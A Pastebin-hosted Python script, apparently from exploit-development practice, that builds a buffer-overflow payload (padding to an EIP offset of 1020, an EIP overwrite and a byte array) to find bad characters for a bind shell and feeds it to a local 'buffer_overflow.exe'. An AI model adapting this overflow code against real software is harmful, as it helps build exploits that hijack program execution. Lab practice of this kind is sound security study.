Advertisement
Guest User

Bind Stageless Shell Find Bad Characters.py

a guest
Nov 16th, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.82 KB | None | 0 0
  1. #! python
  2.  
  3. import os
  4. import sys
  5. import subprocess
  6. import binascii
  7. import time
  8. import struct
  9.  
  10.  
  11. Offset_EIP = 1020
  12.  
  13. byte_array = ""
  14. byte_array+="\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca"
  15. byte_array+="\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea"
  16. byte_array+="\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
  17.  
  18.  
  19.  
  20. final_payload = "\x41" * (Offset_EIP) + "\x42" * 4 + byte_array
  21. final_payload_bytes = final_payload.encode('raw_unicode_escape')
  22.  
  23.  
  24. p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here
  25.  
  26. p.stdin.write(final_payload_bytes)
  27. #p.communicate()[0]
  28. p.stdin.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement